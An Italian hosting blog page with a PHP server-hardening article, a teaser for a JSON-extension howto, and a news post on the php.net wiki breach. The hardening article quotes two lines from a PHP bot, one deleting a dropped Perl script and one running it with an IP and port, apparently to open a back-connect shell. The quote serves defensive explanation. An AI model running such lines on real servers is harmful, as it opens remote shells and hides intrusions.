Accrescere la sicurezza delle applicazioni PHP

Sulla scia dei precedenti post dedicati alla sicurezza lato server e lato applicativo continua la serie di articoli focalizzati sulle best practices per la messa in sicurezza degli ambienti operativi delle applicazioni web.

Abbiamo visto come la principale porta d’accesso offerta ai cracker sono molto spesso configurazioni errate dei server o gravi vulnerabilità degli applicativi. Considerando a titolo d’esempio un server che ospita un numero variabile di blog WordPress o portali costruiti con Joomla o con qualsiasi altra piattaforma di gestione dei contenuti, una singola vulnerabilità presente su una di queste installazioni può spalancare le porte ad un individuo malintenzionato, cracker o script kiddie che sia. Perchè esistono queste vulnerabilità? E’ necessario considerare non solo gli exploit 0day ma anche e soprattutto la presenza di applicativi non aggiornati all’ultima versione più sicura. Facciamo un esempio concreto. Attualmente l’ultima versione stabile di WordPress è la 3.1.2. Il numero di utenti che per negligenza, per pigrizia o per semplice paura di perdere le preziose personalizzazioni del proprio blog trascura volutamente gli aggiornamenti vitali della piattaforma è elevatissimo. Saranno proprio questo tipo di situazioni il bersaglio preferito di chi ha intenzione di danneggiare il lavoro altrui utilizzando un exploit pubblico per causare i danni più svariati alla piattaforma bersaglio. Quali sono le tipologie di attacco più frequenti? Le applicazioni PHP e la struttura sottostante possono essere colpite da iniezioni iframe, remote admin e shell php, php mailer e infezioni da bot IRC. La pericolosità di queste minacce varia su una scala ben precisa e sarà spesso la configurazione del server che ospita l’applicativo a fare la differenza. Se l’utente è poco sensibile agli aggiornamenti del proprio applicativo è possibile perlomeno limitare i danni di un exploit seguendo delle buone pratiche di hardening della piattaforma sottostante, ovvero il server.

Php è uno dei linguaggi più utilizzati per la scrittura di sofisticate applicazioni web ed è proprio la potenza di questo linguaggio una delle fonti più prolifiche di grattacapi. Qualora venga permessa l’esecuzione di particolari tipi di funzioni contenute nell’interprete, funzioni ritenute “pericolose” non intrinsecamente ma per la grande interazione che potrebbero offrire ad un eventuale attaccante, le potenzialità dell’applicazione potrebbero rivelarsi un vero e proprio boomerang per la sicurezza del sistema ospitante. Un esempio? Le funzioni unlink e passthru.

disable function Accrescere la sicurezza delle applicazioni PHP

Con due definizioni estratte direttamente dal manuale di Php, unlink e passthru permettono rispettivamente di : eliminare un file ed eseguire un comando esterno, che può essere una shell di sistema.

Disattivare queste funzionalità è vitale, a meno di non avere specifiche esigenze di programmazione che ne giustifichino l’utilizzo. Non a caso unlink e passthru sono due delle funzioni più utilizzate all’interno dei bot Php ed in genere da tutti gli script maligni che possono colpire ed attecchire su un sito web. Dopo un attacco riuscito con successo lo script malevolo può utilizzare unlink per eliminare dal server eventuali tracce sospette e successivamente fare uso di passthru per eseguire a piacimento una serie di comandi lanciati attraverso una shell di sistema. Ecco un estratto di codice recuperato da un bot PHP relativo alla funzione unlink :

if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }

e passthru

passthru("perl /tmp/dc.pl $ip $port &");

Per inibire l’utilizzo delle funzioni citate è possibile specificare all’interno del file di configurazione dell’interprete la direttiva disable_functions (vedi immagine sopra) seguita dall’indicazione delle funzioni che si desidera disabilitare.

Oltre a disattivare le funzioni Php più a rischio è possibile aumentare la sicurezza del linguaggio utilizzando la direttiva allow_url_fopen. Impostando questa funzionalità su Off impediamo agli script Php di interpretare gli URL come se fossero file. Così facendo è possibile limitare il raggio d’azione di eventuali script maligni il cui scopo dopo essersi installati sul sistema potrebbe essere quello di recuperare ulteriori file nocivi.

Post simili:

  • Nessun post trovato

Howto : installare l’estensione JSON per Php su CentOS 5.5

Come da consuetudine all’interno dei nostri piani di gestione server è inclusa la possibilità di richiedere l’installazione di librerie e componenti supplementari non disponibili di default sulle installazioni di base di alcuni dei principali pannelli di controllo (Virtualmin ecc.). Si tratta di estensioni aggiuntive che possono essere indispensabili per la corretta esecuzione di applicativi particolari.  A titolo di esempio l’installazione di base Php per Virtualmin è sprovvista dell’estensione Json. Vediamo come installarla in poche semplici mosse. Continue reading

Post simili:

Violato uno dei server di Php.net

“Secondo la breve comunicazione apparsa sul feed di Php.net la violazione è avvenuta grazie alla concausa di una vulnerabilità contenuta in DokuWiki seguita ad un exploit di tipo root sul server Linux wiki.php.net.”

Con una nota del 19 Marzo scorso lo staff di Php.net ha comunicato in modo abbastanza freddo la compromissione di uno dei server della scuderia. Si tratta della macchina che ospita wiki.php.net. A quanto pare la violazione del server ha permesso agli intrusi di recuperare i dati di accesso dei repository principali del codice. La più grande preoccupazione di Rasmus Lerdorf e soci è attualmente quella di verificare che non siano state iniettate porzioni di codice maligno all’interno del codice sorgente del popolarissimo linguaggio di programmazione Php. Il ferale annuncio arriva dopo la felice uscita della versione Php 5.3.6 che ha portato alla correzione di numerosi bug contenuti nelle versioni precedenti.

Secondo  Vupen, società di sicurezza francese, la voce circa la violazione di wiki.php.net ha iniziato a circolare già dallo scorso venerdì sui forum underground dove personaggi evidentemente ben informati sui fatti hanno postato circa la possibilità che a violare il server possa essere stato un hacker cinese che ha avuto gioco facile sfruttando una vulnerabilità contenuta in DokuWiki, la piattaforma utilizzata per wiki.php.net.

A quanto pare il danno più ingente subito da Php.net è stato quello di vedere sottratti i login di accesso ai repository del codice sorgente. Sempre secondo lo staff di Php.net il server compromesso è stato completamente ripristinato ed è stato imposto a tutti i developer una modifica delle password di accesso al fine di prevenire eventuali altre intrusioni dato che buona parte delle combinazioni di login è finita in mano agli intrusi.

Secondo la breve comunicazione apparsa sul feed di Php.net la violazione è avvenuta grazie alla concausa di una vulnerabilità contenuta in DokuWiki seguita ad un exploit di tipo root sul server Linux wiki.php.net.

Tralasciando considerazioni del tipo “come può Php.net essere colpita da intrusioni così clamorose?” stupisce invece come Lerdorf e compagni non abbiano fornito informazioni approfondite circa le modalità di exploiting e le tempistiche di chiusura dell’incidente. Sono migliaia i download di Php giornalieri ed il rischio di ritrovarsi con una copia del sorgente infetta è dietro l’angolo. Per il momento il server wiki.php.net espone un simpatico “Sorry for the inconvenience, we are working on it”.
In attesa di comunicazioni più “verbose” da parte di Php.net il consiglio è quello di evitare il prelievo e la compilazione del codice sorgente di Php.

Post simili: